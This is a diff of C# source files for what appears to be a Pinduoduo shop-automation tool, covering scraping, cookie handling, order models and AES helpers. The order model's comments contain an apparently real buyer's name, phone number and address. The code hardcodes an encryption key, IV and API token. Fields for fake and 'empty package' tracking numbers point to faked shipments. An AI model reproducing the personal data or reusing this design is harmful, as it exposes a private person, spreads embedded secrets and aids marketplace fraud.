foreach (var cookie in cookies)
{
cookieStr += cookie.Name + "=" + cookie.Value + ";";
}
return cookieStr;
}
}
}
+70
View File
@@ -0,0 +1,70 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace Work.Helper
{
public class Win32
{
#region Window Const
public const int WM_ERASEBKGND = 0x0014;
public const int WM_LBUTTONDOWN = 0x0201;
public const int WM_LBUTTONUP = 0x0202;
public const int WM_LBUTTONDBLCLK = 0x0203;
public const int WM_WINDOWPOSCHANGING = 0x46;
public const int WM_PAINT = 0xF;
public const int WM_CREATE = 0x0001;
public const int WM_ACTIVATE = 0x0006;
public const int WM_NCCREATE = 0x0081;
public const int WM_NCCALCSIZE = 0x0083;
public const int WM_NCPAINT = 0x0085;
public const int WM_NCACTIVATE = 0x0086;
public const int WM_NCLBUTTONDOWN = 0x00A1;
public const int WM_NCLBUTTONUP = 0x00A2;
public const int WM_NCLBUTTONDBLCLK = 0x00A3;
public const int WM_NCMOUSEMOVE = 0x00A0;
public const int WM_NCHITTEST = 0x0084;
public const int HTLEFT = 10;
public const int HTRIGHT = 11;
public const int HTTOP = 12;
public const int HTTOPLEFT = 13;
public const int HTTOPRIGHT = 14;
public const int HTBOTTOM = 15;
public const int HTBOTTOMLEFT = 0x10;
public const int HTBOTTOMRIGHT = 17;
public const int HTCAPTION = 2;
public const int HTCLIENT = 1;
public const int WM_FALSE = 0;
public const int WM_TRUE = 1;
#endregion
#region Public extern methods
[DllImport("gdi32.dll")]
public static extern int CreateRoundRectRgn(int x1, int y1, int x2, int y2, int x3, int y3);
[DllImport("user32.dll")]
public static extern int SetWindowRgn(IntPtr hwnd, int hRgn, Boolean bRedraw);
[DllImport("gdi32.dll", EntryPoint = "DeleteObject", CharSet = CharSet.Ansi)]
public static extern int DeleteObject(int hObject);
[DllImport("user32.dll")]
public static extern int SendMessage(IntPtr hWnd, int Msg, int wParam, int lParam);
[DllImport("user32.dll")]
public static extern bool ReleaseCapture();
#endregion
}
}
+20
View File
@@ -0,0 +1,20 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Work.Helper
{
public class WindowStyle
{
public static void SetFormRoundRectRgn(Control c, int rgnRadius)
{
int hRgn = 0;
hRgn = Win32.CreateRoundRectRgn(0, 0, c.Width + 1, c.Height + 1, rgnRadius, rgnRadius);
Win32.SetWindowRgn(c.Handle, hRgn, true);
Win32.DeleteObject(hRgn);
}
}
}
+59
View File
@@ -0,0 +1,59 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work
{
public class ImgConvertToIcon
{
#region 将图片缓存ico
///
///要转换为图标的Image对象
///当image为null时是否返回null。false则抛空引用异常
///
public static Icon ConvertToIcon(Image image, bool nullTonull = false)
{
if (image == null)
{
if (nullTonull) { return null; }
throw new ArgumentNullException("image");
}
using (MemoryStream msImg = new MemoryStream()
, msIco = new MemoryStream())
{
image.Save(msImg, ImageFormat.Png);
using (BinaryWriter bin = new BinaryWriter(msIco))
{
//写图标头部
bin.Write((short)0); //0-1保留
bin.Write((short)1); //2-3文件类型。1=图标, 2=光标
bin.Write((short)1); //4-5图像数量(图标可以包含多个图像)
bin.Write((byte)image.Width); //6图标宽度
bin.Write((byte)image.Height); //7图标高度
bin.Write((byte)0); //8颜色数(若像素位深>=8,填0。这是显然的,达到8bpp的颜色数最少是256,byte不够表示)
bin.Write((byte)0); //9保留。必须为0
bin.Write((short)0); //10-11调色板
bin.Write((short)32); //12-13位深
bin.Write((int)msImg.Length); //14-17位图数据大小
bin.Write(22); //18-21位图数据起始字节
//写图像数据
bin.Write(msImg.ToArray());
bin.Flush();
bin.Seek(0, SeekOrigin.Begin);
return new Icon(msIco);
}
}
}
#endregion
}
}
File diff suppressed because it is too large. Load diff
+307
View File
@@ -0,0 +1,307 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work.Model
{
class BaseModel
{
}
public class Order_list
{
/// <summary>
/// Support_nationwide_warranty
/// </summary>
public string support_nationwide_warranty { get; set; }
/// <summary>
/// 中国
/// </summary>
public string country { get; set; }
/// <summary>
/// Group_status
/// </summary>
public string group_status { get; set; }
/// <summary>
/// Free_sf
/// </summary>
public string free_sf { get; set; }
/// <summary>
/// Discount_amount
/// </summary>
public string discount_amount { get; set; }
/// <summary>
/// Platform_discount
/// </summary>
public string platform_discount { get; set; }
/// <summary>
/// Return_freight_payer
/// </summary>
public string return_freight_payer { get; set; }
/// <summary>
///
/// </summary>
public string id_card_num { get; set; }
/// <summary>
/// Order_status
/// </summary>
public string order_status { get; set; }
/// <summary>
/// 海南省
/// </summary>
public string province { get; set; }
/// <summary>
/// Town_id
/// </summary>
public int? town_id { get; set; }
/// <summary>
/// 4200000196201811268279446751
/// </summary>
public string pay_no { get; set; }
/// <summary>
/// Item_list
/// </summary>
public List<Item_list> item_list { get; set; }
/// <summary>
/// 2018-11-29 06:36:07
/// </summary>
public string last_ship_time { get; set; }
/// <summary>
/// 2018-11-26 06:37:04
/// </summary>
public string created_time { get; set; }
/// <summary>
/// Card_info_list
/// </summary>
public List<string> card_info_list { get; set; }
/// <summary>
/// Refund_status
/// </summary>
public string refund_status { get; set; }
/// <summary>
/// 长丰镇
/// </summary>
public string town { get; set; }
/// <summary>
/// Is_stock_out
/// </summary>
public string is_stock_out { get; set; }
/// <summary>
/// Delivery_install_value
/// </summary>
public string delivery_install_value { get; set; }
/// <summary>
///
/// </summary>
public string receive_time { get; set; }
/// <summary>
/// 2018-11-26 06:37:06
/// </summary>
public string pay_time { get; set; }
/// <summary>
/// Capital_free_discount
/// </summary>
public string capital_free_discount { get; set; }
/// <summary>
/// Step_order_info
/// </summary>
public string step_order_info { get; set; }
/// <summary>
/// Country_id
/// </summary>
public string country_id { get; set; }
/// <summary>
/// City_id
/// </summary>
public string city_id { get; set; }
/// <summary>
/// Invoice_status
/// </summary>
public string invoice_status { get; set; }
/// <summary>
/// Home_install_value
/// </summary>
public string home_install_value { get; set; }
/// <summary>
/// Order_depot_info
/// </summary>
public string order_depot_info { get; set; }
/// <summary>
/// 万宁市
/// </summary>
public string city { get; set; }
/// <summary>
/// Is_lucky_flag
/// </summary>
public string is_lucky_flag { get; set; }
/// <summary>
///
/// </summary>
public string remark { get; set; }
/// <summary>
///
/// </summary>
public string pre_sale_time { get; set; }
/// <summary>
/// XP0018112606200524852582007694
/// </summary>
public string inner_transaction_id { get; set; }
/// <summary>
/// Logistics_id
/// </summary>
public string logistics_id { get; set; }
/// <summary>
/// Only_support_replace
/// </summary>
public string only_support_replace { get; set; }
/// <summary>
/// Delivery_home_value
/// </summary>
public string delivery_home_value { get; set; }
/// <summary>
/// 2018-11-27 06:36:07
/// </summary>
public string updated_at { get; set; }
/// <summary>
/// 王卡妹
/// </summary>
public string receiver_name { get; set; }
/// <summary>
///
/// </summary>
public string tracking_number { get; set; }
/// <summary>
/// WEIXIN
/// </summary>
public string pay_type { get; set; }
/// <summary>
///
/// </summary>
public string buyer_memo { get; set; }
/// <summary>
/// Is_pre_sale
/// </summary>
public string is_pre_sale { get; set; }
/// <summary>
///
/// </summary>
public string shipping_time { get; set; }
/// <summary>
/// Home_delivery_type
/// </summary>
public int home_delivery_type { get; set; }
/// <summary>
/// After_sales_status
/// </summary>
public string after_sales_status { get; set; }
/// <summary>
/// 海南省万宁市长丰镇马坡村委会沸水村
/// </summary>
public string address { get; set; }
/// <summary>
///
/// </summary>
public string id_card_name { get; set; }
/// <summary>
/// Goods_amount
/// </summary>
public decimal? goods_amount { get; set; }
/// <summary>
/// Pay_amount
/// </summary>
public string pay_amount { get; set; }
/// <summary>
/// Seller_discount
/// </summary>
public string seller_discount { get; set; }
/// <summary>
/// 2018-11-27 06:36:07
/// </summary>
public string confirm_time { get; set; }
/// <summary>
/// Confirm_status
/// </summary>
public string confirm_status { get; set; }
/// <summary>
/// Stock_out_handle_status
/// </summary>
public string stock_out_handle_status { get; set; }
/// <summary>
/// Postage
/// </summary>
public string postage { get; set; }
/// <summary>
/// Province_id
/// </summary>
public string province_id { get; set; }
/// <summary>
/// Cat_id_3
/// </summary>
public string cat_id_3 { get; set; }
/// <summary>
/// Cat_id_4
/// </summary>
public string cat_id_4 { get; set; }
/// <summary>
/// Cat_id_1
/// </summary>
public string cat_id_1 { get; set; }
/// <summary>
/// Cat_id_2
/// </summary>
public string cat_id_2 { get; set; }
/// <summary>
/// Trade_type
/// </summary>
public string trade_type { get; set; }
/// <summary>
/// 13876281146
/// </summary>
public string receiver_phone { get; set; }
/// <summary>
/// 181126-081127015610694
/// </summary>
public string order_sn { get; set; }
}
public class Item_list
{
/// <summary>
/// 私魅夏季新款浅口小白鞋女百搭基础韩版休闲板鞋透气平底镂空白鞋
/// </summary>
public string goods_name { get; set; }
/// <summary>
/// TJHMjI0SFM7Y3QgID9SZi8nNA==?439
/// </summary>
public string outer_goods_id { get; set; }
/// <summary>
/// Goods_price
/// </summary>
public decimal? goods_price { get; set; }
/// <summary>
/// 3699197556
/// </summary>
public long goods_id { get; set; }
/// <summary>
/// 86794904408
/// </summary>
public long sku_id { get; set; }
/// <summary>
/// Goods_count
/// </summary>
public int? goods_count { get; set; }
/// <summary>
/// 黑色,36
/// </summary>
public string goods_spec { get; set; }
/// <summary>
/// _6buR6ImyXzM2
/// </summary>
public string outer_id { get; set; }
/// <summary>
/// http://t02img.yangkeduo.com/images/2018-05-24/ed54aa388fb05a3f4cbdc64e41afc75d.jpeg
/// </summary>
public string goods_img { get; set; }
}
}
+35
View File
@@ -0,0 +1,35 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work.Model
{
public class ExpressBase
{
public string id = "";
public string name = "";
public string code = "";
//public string company_id = "";
//public string express_no = "";
//public string express_name = "";
//public string express_id = "";
//public string name = "";
//public string mobile = "";
//public string address = "";
//public string sendname = "";
//public string sendmobile = "";
//public string sendaddress = "";
//public int use_times = 0;
//public int buy_type = 1;
//public int id = 0;
//public int status = 0;
//public string order_id = "";
//public string sendtime = "";
//public string province = "";
//public string city = "";
//public string area = "";
}
}
+279
View File
@@ -0,0 +1,279 @@
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using AllBase;
using CefSharp.WinForms;
using Work.Pinduoduo;
namespace Work
{
public class MulitServicerSet
{
public static Dictionary<string, ShopChatBase> Shops = new Dictionary<string, ShopChatBase>();
public static List<ShopChatBase> ShopsTemp = new List<ShopChatBase>();
public static List<ShopChatBase> ChatShopsTemp = new List<ShopChatBase>();
//public static Dictionary<int, WebSocketClient> Chats = new Dictionary<int, WebSocketClient>();
public string Name;
public static int ThisCount = 0, MaxCount = 0, WaitTime = 5;
public MulitServicerSet(string name)
{
Name = name;
}
private string GetUid()
{
string url = "http://mms.pinduoduo.com/Pdd.html";
string cookies = "";
string html = GetWeb(url, url, ref cookies, "");
return cookies;
}
public string GetWeb(string url, string refere, ref string cookies, string data)
{
try
{
string userAgent = BaseClass.ChromeUserAgent;
WebClientx wb = new WebClientx();
wb.Timeout = 30;
wb.AllowAutoRedirect = true;
wb.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
//wb.Headers.Add("X-Requested-With", "XMLHttpRequest");
wb.Headers.Add("Accept-Encoding", "gzip,deflate");
wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3");
wb.Headers.Add("User-Agent", userAgent);
wb.Proxy = null;
if (!string.IsNullOrEmpty(refere))
wb.Headers.Add("Referer", refere);
if (!string.IsNullOrEmpty(cookies))
wb.Headers.Add("Cookie", cookies);
wb.Proxy = null;
string rehead = wb.Headers.ToString();
var encode = Encoding.UTF8;
byte[] b, postData = data == null ? new byte[0] : encode.GetBytes(data);
string html, head;
try
{
if (string.IsNullOrEmpty(data))
{
b = wb.DownloadData(url);
}
else
{
wb.Headers.Add("Content-Type", "application/json; charset=UTF-8");
wb.Headers.Add("ContentLength", postData.Length.ToString());
b = wb.UploadData(url, "POST", postData);
}
html = encode.GetString(b);
string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)");
if (!string.IsNullOrEmpty(c))
{
c = c.Trim().ToLower().Replace("utf8", "utf-8");
}
if (string.IsNullOrEmpty(c))
c = BaseRegex.GetMatchRegexString(html, @"<meta [^>]*?charset=[""']*([\w-]+)[""']*");
if (!string.IsNullOrEmpty(c))
{
if (c.IndexOf("'") > -1)
c = c.Substring(0, c.IndexOf("'"));
if (c.IndexOf("\"") > -1)
c = c.Substring(0, c.IndexOf("\""));
if (c.IndexOf(" ") > -1)
c = c.Substring(0, c.IndexOf(" "));
if (c.IndexOf(">") > -1)
c = c.Substring(0, c.IndexOf(">"));
if (!string.IsNullOrEmpty(c))
html = Encoding.GetEncoding(c).GetString(b);
}
head = wb.ResponseHeaders.ToString();
string setCookies = wb.ResponseHeaders["Set-Cookie"];
cookies = SetCookies(cookies, setCookies);
}
catch (Exception ee)
{
html = "提交错误:" + ee.Message;
head = "";
}
return GetHtml.Decode(html);
}
catch (Exception e)
{
LogSave.Add("访问网址错误:" + url + " " + e.Message);
return "";
}
}
/// <summary>
/// 生成新的cookies
/// </summary>
/// <param name="cookies"></param>
/// <param name="setCookies"></param>
/// <returns></returns>
public string SetCookies(string cookies, string setCookies)
{
if (string.IsNullOrEmpty(setCookies))
return cookies;
Dictionary<string, string> cook = new Dictionary<string, string>();
string[] l = cookies.Split(';');
for (int i = 0; i < l.Length; i++)
{
if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("="))
continue;
string key = l[i].Substring(0, l[i].IndexOf("="));
string value = l[i].Substring(key.Length + 1).Trim();
if (string.IsNullOrEmpty(key) || string.IsNullOrEmpty(value))
continue;
if (cook.ContainsKey(key))
cook[key] = value;
else
cook.Add(key, value);
}
l = setCookies.Split(';');
for (int i = 0; i < l.Length; i++)
{
if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("="))
continue;
string key = l[i].Substring(0, l[i].IndexOf("=")).Trim();
if (key == "expires" || key == "domain" || key == "path" || key == "Max-Age")
continue;
string value = l[i].Substring(key.Length + 1);
if (string.IsNullOrEmpty(key) || string.IsNullOrEmpty(value))
continue;
if (cook.ContainsKey(key))
cook[key] = value;
else
{
cook.Add(key, value);
}
}
StringBuilder s = new StringBuilder();
foreach (KeyValuePair<string, string> key in cook)
{
s.Append(key.Key + "=" + key.Value + "; ");
}
return s.ToString();
}
public static string tokenMessage = "";
//public static bool LoginChat(ShopChatBase shop, out string message)
//{
// //WebSocketClient websocket = new WebSocketClient(shop);
// //if (websocket.client == null)
// //{
// // message = "新版客服登录失败";
// // shop.Message = "新版客服登录失败";
// // if (!string.IsNullOrEmpty(tokenMessage))
// // {
// // string url = "https://mms.pinduoduo.com/chats/malls/" + shop.MallId + "/enableChat";
// // string refere = "hhttps://mms.pinduoduo.com/chat-merchant/index.html";
// // string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, shop.Cookies);
// // if (html.Contains("{\"success\":true"))
// // {
// // websocket = new WebSocketClient(shop);
// // }
// // else
// // {
// // message = tokenMessage;
// // }
// // }
// // return false;
// //}
// //if (!Chats.ContainsKey(shop.MallId))
// //{
// // Chats.Add(shop.MallId, websocket);
// //}
// //else
// //{
// // if (Chats[shop.MallId].client == null)
// // {
// // Chats[shop.MallId] = websocket;
// // message = "新版客服登录失败";
// // shop.Message = "新版客服登录失败";
// // return false;
// // }
// // if (Chats[shop.MallId].client.ReadyState != WebSocketState.Open || Chats[shop.MallId].client.ReadyState != WebSocketState.Closing)
// // {
// // Chats[shop.MallId].client.Connect();
// // }
// // Chats[shop.MallId].client.Connect();
// //}
// //message = "新版客服登录成功";
// //shop.Message = "新版客服登录成功";
// //if (shop.client != null && shop.client.ReadyState != WebSocketState.Open)
// //{
// // return true;
// //}
// //else
// //{
// // return false;
// //}
//}
}
//public class ShopChatBase
//{
// public string ExpireTime = "";
// public string ShopId = "";
// public string ShopName = "";
// public string Sub_Account_Name = "";//子账号
// public string Name = "";
// public string UserName = "";
// public string UserInfo = "";
// public string PassId = "";
// public int ChatCount = 0;
// public string Cookies = "";
// public string CookiesUid = "";
// public string CookiesPid = "";
// public string Password = "";
// public string Message = "";//授权状态
// public string onlineStatus = "";//在线状态
// public bool Showed = false;
// public bool CanUpload = true;
// public bool Login = false;
// public int X = 0;
// public int Y = 0;
// public int MallId = 0;
// public int MainCatId = 0;
// public int ReceiverId = 0;
// public string MainCatName = "";
// public string UserCatName = "";
// public string ServiceUserName = "";
// public string BuyUserName = "";
// public string UploadUserName = "";
// public int UpCount = 0;
// public long ExpressId = 0;
// public int WaitTimes = 0;
// public string AccessToken = "";
// public string RefreshToken = "";
// public string ClientId = "";
// public string AccessTokenOrder = "";
// public string RefreshTokenOrder = "";
// public DateTime Expiration = DateTime.Now.AddDays(-1);
// public DateTime EndDate = DateTime.Now.AddDays(-1);
// public int allWait = 0;//待拼团
// public int allBuying = 0;//待拍单
// [Newtonsoft.Json.JsonIgnore]
// public WebSocket client = null;
// [Newtonsoft.Json.JsonIgnore]
// public ChromiumWebBrowser Chat = null;//店铺聊天用
// [Newtonsoft.Json.JsonIgnore]
// public ChromiumWebBrowser MainIndex = null;//店铺后台用
// public bool CusIsLogin = false;//店铺是否已经登录--客服集成
// public string ownId = "";
// public string verify_auth_token = "";
// public ShopChatBase Clone()
// {
// string html = JsonHelper.SerializeObject(this);
// ShopChatBase tp = JsonHelper.DeserializeJsonToObject<ShopChatBase>(html);
// return tp;
// }
}
+191
View File
@@ -0,0 +1,191 @@
using AllBase;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work
{
public class PayGroupOrder
{
#region 获取买家在本店购买商品的sku图
public static string SignWordBase = ".`~^*_| -#$%&?+";
public static string GetSkuImg(string proId, string sku, string detailHtml = "")
{
string SkuImg = "";
string htmlx = "";
if (string.IsNullOrEmpty(htmlx))
{
//return "";
string urlx = BaseClass.PddMobileUrlx + "goods.html?goods_id=" + proId;
htmlx = GetPostTaobaoHtml.UploadTaobao(urlx, urlx, true);
}
string strx = "\"skus\":\\[\\{\"skuID\":[\\s\\S]+?,\"hdThumbUrl\"";
var Skux = BaseRegex.GetMatchRegex(ref htmlx, strx);
string skustr = "";
if (Skux.Count > 0)
{
skustr = Skux[0].Value;
}
var m = BaseRegex.GetMatchRegex(ref skustr, "\"skuID\"([\\s\\S]+?),\"unselectGroupPrice\":");
if (m.Count == 0)
{
m = BaseRegex.GetMatchRegex(ref skustr, "\"skuID\":([\\s\\S]+?),\"staticLimitQuantity\":");
}
for (int k = 0; k < m.Count; k++)
{
var item = m[k].Value.ToString();
string spec_value = BaseRegex.GetStringJson(ref item, "spec_value");
if (!string.IsNullOrEmpty(spec_value) && !string.IsNullOrEmpty(sku))
{
for (int i = 0; !string.IsNullOrEmpty(spec_value) && i < SignWordBase.Length; i++)
{
spec_value = spec_value.Replace(SignWordBase[i].ToString(), "");
}
if (sku.Contains(spec_value))
{
SkuImg = BaseRegex.GetStringJson(ref item, "thumbUrl");
break;
}
}
else
{
SkuImg = BaseRegex.GetStringJson(ref item, "thumbUrl");
}
}
return SkuImg;
}
#endregion
#region 根据上家id获取商品url
public static string GetJumpUrl(int siteId, long pid)
{
string url = "";
if (siteId == 1)
{
if (!BaseClass.PhonePay)
{
url = "https://item.taobao.com/item.htm?id=" + pid;//电脑详情
//url = "http://taoke.qixiaoker.com/first.php?product_id=" + pid;
string data = UserLogin.GetSignaturex() + "";
string urlx = BaseClass.BuildObjString("taobaoke&tid=" + pid);
string html = GetHtml.PostUtf8(urlx, data);
if (string.IsNullOrEmpty(html))
{
//Thread.Sleep(3000);
//data = UserLogin.GetSignaturex();
//urlx = BaseClass.BuildObjString("taobaoke&tid=" + pid);
//html = GetHtml.PostUtf8(urlx, data);
}
long id = BaseRegex.GetLongJson(ref html, "id");
if (id == pid)
{
string coupon_url = BaseRegex.GetStringJson(ref html, "coupon_url");
if (!string.IsNullOrEmpty(coupon_url))
{
url = coupon_url;
}
if (string.IsNullOrEmpty(coupon_url))
{
string urltemp = BaseRegex.GetStringJson(ref html, "url");
if (!string.IsNullOrEmpty(urltemp))
{
url = urltemp.Replace("\\", "");
}
}
}
}
else
{
url = "https://h5.m.taobao.com/awp/core/detail.htm?id=" + pid;//手机详情
}
}
if (siteId == 2)
{
url = BaseClass.LoginApiUrl + "?obj=upshopid/pinduoduo_click&act=jump&id=" + pid;
if (!string.IsNullOrEmpty(BaseClass.JinBaoJump))
url = BaseClass.LoginApiUrl + "?obj=upshopid/jump_to&act=" + BaseClass.JinBaoJump + "&id=" + pid;
}
if (siteId == 3)
url = "https://detail.1688.com/offer/" + pid + ".html";
return url;
}
#endregion
public class PayGroupOrderBase
{
public string order_id = "";
public string order_id_buy = "";
public string name = "";
public string shopRealname = "";
public string mobile = "";
public string address = "";
public string note = "";
public string sku = "";
public string skuImg = "";
public string group_id = "";
public decimal price = 0;
public string product_id = "";
public string title = "";
public string shop_id = "";
public string shop_name = "";
public string service_id = "";
public string service_name = "";
public string status = "";
public string lose_time = "";
public string create_time = "";//订单确认时间
public string promise_time = "";//承诺发货时间
public bool can_pay = false;
public string get_up_express_time = "";
public string express_name = "";
public string express_id = "";
public string express_no = "";
public string up_product_id = "";
public string up_product_idTemp = "";//编辑时的总店Id1
public string up_product_idTemp_two = "";//编辑时的总店Id2
public string up_product_idTemp_three = "";//编辑时的总店Id3
public string up_product_idTemp_four = "";//编辑时的总店Id4
public string up_product_idTemp_five = "";//编辑时的总店Id5
public int chooseUpPro = 0;//选择的上家Id
public string extensionUrl = "";//推广的url
public string buy_sku = "";
//买手号拍单时的姓名,地址,电话
public string buy_nickname = "";
public string buy_address = "";
public string buy_mobile = "";
public string pay_mobile = "";//付款账户
public decimal buy_price = 0;
public int buy_type = 1;
public int buy_count = 1;
public string express_id_false = "";//假物流Id
public string express_name_false = "";//假物流公司
public string express_no_false = "";//假物流单号
public string service_Remark = "";//客服备注
public string isRedColorBack = "";//是否红色背景标识
public string isDelete = "";//是否删除标识
public string buy_time = "";//拼单|拍单时间
public string logistics = "";//空包物流公司名称
public string empty_id = "";//空包物流单号
public string message_status = "";//空包留言状态
public string tracking_number_realtime = "";//订单实时物流
public string shipping_time = "";//发货时间
public decimal commission;//多多进宝拥挤
public bool packovertime = false;//是否揽件超时
public bool sendovertime = false;//是否发货超时
public int is_decode_status = 0;//是否已解密 1已解密
}
}
}
+158
View File
@@ -0,0 +1,158 @@
using AllBase;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
namespace Work.Pinduoduo
{
public class DataOpenSSL
{
public static byte[] key = new byte[32] { 145, 232, 156, 201, 201, 0, 42, 184, 222, 111, 109, 49, 226, 169, 9, 44, 151, 148, 143, 120, 62, 84, 30, 170, 127, 242, 20, 141, 231, 33, 230, 6 };
public static byte[] iv = new byte[16] { 113, 6, 75, 177, 160, 112, 73, 39, 178, 147, 82, 107, 186, 58, 144, 187 };
/// <summary>
/// 加密
/// </summary>
/// <param name="plainText"></param>
/// <returns></returns>
public static string EncryptString(string plainText)
{
try
{
// Instantiate a new Aes object to perform string symmetric encryption
Aes encryptor = Aes.Create();
encryptor.Mode = CipherMode.CBC;
// Set key and IV
byte[] aesKey = new byte[32];
Array.Copy(key, 0, aesKey, 0, 32);
encryptor.Key = aesKey;
encryptor.IV = iv;
// Instantiate a new MemoryStream object to contain the encrypted bytes
MemoryStream memoryStream = new MemoryStream();
// Instantiate a new encryptor from our Aes object
ICryptoTransform aesEncryptor = encryptor.CreateEncryptor();
// Instantiate a new CryptoStream object to process the data and write it to the
// memory stream
CryptoStream cryptoStream = new CryptoStream(memoryStream, aesEncryptor, CryptoStreamMode.Write);
// Convert the plainText string into a byte array
byte[] plainBytes = Encoding.UTF8.GetBytes(plainText);
// Encrypt the input plaintext string
cryptoStream.Write(plainBytes, 0, plainBytes.Length);
// Complete the encryption process
cryptoStream.FlushFinalBlock();
// Convert the encrypted data from a MemoryStream to a byte array
byte[] cipherBytes = memoryStream.ToArray();
// Close both the MemoryStream and the CryptoStream
memoryStream.Close();
cryptoStream.Close();
// Convert the encrypted byte array to a base64 encoded string
string cipherText = Convert.ToBase64String(cipherBytes, 0, cipherBytes.Length);
cipherText = cipherText.Replace("+", "-").Replace("/", "_").Replace("=", "");
// Return the encrypted data as a string
return cipherText;
}
catch (Exception)
{
//throw;
}
return plainText;
}
/// <summary>
/// 解密
/// </summary>
/// <param name="cipherText"></param>
/// <returns></returns>
public static string DecryptString(string cipherText)
{
cipherText = cipherText.Replace("-", "+").Replace("_", "/");
var x1 = cipherText.Length % 4;
if (x1 > 0)
{
cipherText = cipherText + "====".Substring(x1);
}
// Instantiate a new Aes object to perform string symmetric encryption
Aes encryptor = Aes.Create();
encryptor.Mode = CipherMode.CBC;
// Set key and IV
byte[] aesKey = new byte[32];
Array.Copy(key, 0, aesKey, 0, 32);
encryptor.Key = aesKey;
encryptor.IV = iv;
// Instantiate a new MemoryStream object to contain the encrypted bytes
MemoryStream memoryStream = new MemoryStream();
// Instantiate a new encryptor from our Aes object
ICryptoTransform aesDecryptor = encryptor.CreateDecryptor();
// Instantiate a new CryptoStream object to process the data and write it to the
// memory stream
CryptoStream cryptoStream = new CryptoStream(memoryStream, aesDecryptor, CryptoStreamMode.Write);
// Will contain decrypted plaintext
string plainText = String.Empty;
try
{
// Convert the ciphertext string into a byte array
byte[] cipherBytes = Convert.FromBase64String(cipherText);
// Decrypt the input ciphertext string
cryptoStream.Write(cipherBytes, 0, cipherBytes.Length);
// Complete the decryption process
cryptoStream.FlushFinalBlock();
// Convert the decrypted data from a MemoryStream to a byte array
byte[] plainBytes = memoryStream.ToArray();
// Convert the decrypted byte array to string
plainText = Encoding.UTF8.GetString(plainBytes, 0, plainBytes.Length);
}
catch (Exception)
{
//throw;
}
finally
{
// Close both the MemoryStream and the CryptoStream
memoryStream.Close();
cryptoStream.Close();
}
// Return the decrypted data as a string
return plainText;
}
}
}
+118
View File
@@ -0,0 +1,118 @@
using AllBase;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Work.BaseForms;
using Work.Tips;
namespace Work.Pinduoduo
{
public class PddProductDetail
{
#region 通过代理ip获取商品详情
public static string key = "";
public static DateTime endTime = BaseClass.GetServerTimeString();
public static List<SkuDetail> GetProDetails(string id)
{
string url = "";
string html = "";
if (string.IsNullOrEmpty(key) || endTime <= BaseClass.GetServerTimeString())
{
string data = UserLogin.GetSignaturex();
url = BaseClass.BuildObjString("check_vcode&act=get_agent_ip");
html = GetHtml.PostUtf8(url, data);
if (!html.Contains("\"code\":200"))
{
BaseMsgForm.ShowError("请求失败,请过几秒后再试!", "提示", FormLevel.SMALL);
return null;
}
key = BaseRegex.GetStringJson(ref html, "the_key_temp");
var endTimeStr = BaseRegex.GetStringJson(ref html, "end_time");
endTime = Convert.ToDateTime(endTimeStr);
}
url = "http://goods.66daili.cn/api/goods/get/?orderid=" + DataOpenSSL.DecryptString(key) + "&token=5AF433ED506FA475&goodID=" + id;
html = GetHtml.PostUtf8(url, "");
if (html.Contains("req too many"))
{
Thread.Sleep(3000);
html = GetHtml.PostUtf8(url, "");
}
if (html.Contains("\"code\":408"))
{
BaseMsgForm.ShowError("请求频繁,请过几秒后再试!", "提示", FormLevel.SMALL);
return null;
}
html = GetHtml.UrlDecode(html);
return GetSkuArr(html);
}
#endregion
public static List<SkuDetail> GetSkuArr(string html)
{
var skuArr = BaseRegex.GetMatchRegex(ref html, "\"sku_id\":[\\s\\S]+?attribute\":[\\S\\s]+?\"");
List<SkuDetail> skuDetailList = new List<SkuDetail>();
for (int i = 0; i < skuArr.Count; i++)
{
SkuDetail skuDetail = new SkuDetail();
var skuItem = skuArr[i].Value;
string sku_id = BaseRegex.GetStringJson(ref skuItem, "sku_id");
string thumb_url = BaseRegex.GetStringJson(ref skuItem, "thumb_url");
decimal normal_price = BaseRegex.GetDecimalJson(ref skuItem, "normal_price");
decimal group_price = BaseRegex.GetDecimalJson(ref skuItem, "group_price");
var skuSpecArr = BaseRegex.GetMatchRegex(ref skuItem, "(\\{\"spec_key\":[\\s\\S]+?\"spec_value_id\":[\\s\\S]+?\\})");
skuDetail.sku_id = sku_id;
skuDetail.thumb_url = thumb_url;
skuDetail.normal_price = normal_price;
skuDetail.group_price = group_price;
skuDetail.skuSpecs = new List<SkuSpecs>();
for (int j = 0; j < skuSpecArr.Count; j++)
{
SkuSpecs skuSpec = new SkuSpecs();
var specItem = skuSpecArr[j].Value;
string spec_value = BaseRegex.GetStringJson(ref specItem, "spec_value");
skuSpec.spec_value = spec_value;
skuSpec.spec_value = spec_value;
skuDetail.skuSpecs.Add(skuSpec);
}
skuDetailList.Add(skuDetail);
}
return skuDetailList;
}
}
//public class ProductDetail
//{
// public List<SkuDetail> skuDetail { get; set; }
//}
public class SkuDetail
{
public string sku_id { get; set; }
public string thumb_url { get; set; }
public List<SkuSpecs> skuSpecs { get; set; }
public decimal normal_price { get; set; }
public decimal group_price { get; set; }
}
public class SkuSpecs
{
public string spec_value { get; set; }
}
}
File diff suppressed because it is too large. Load diff
+220
View File
@@ -0,0 +1,220 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using AllBase;
namespace Work
{
public class PinduoduoProductCollect
{
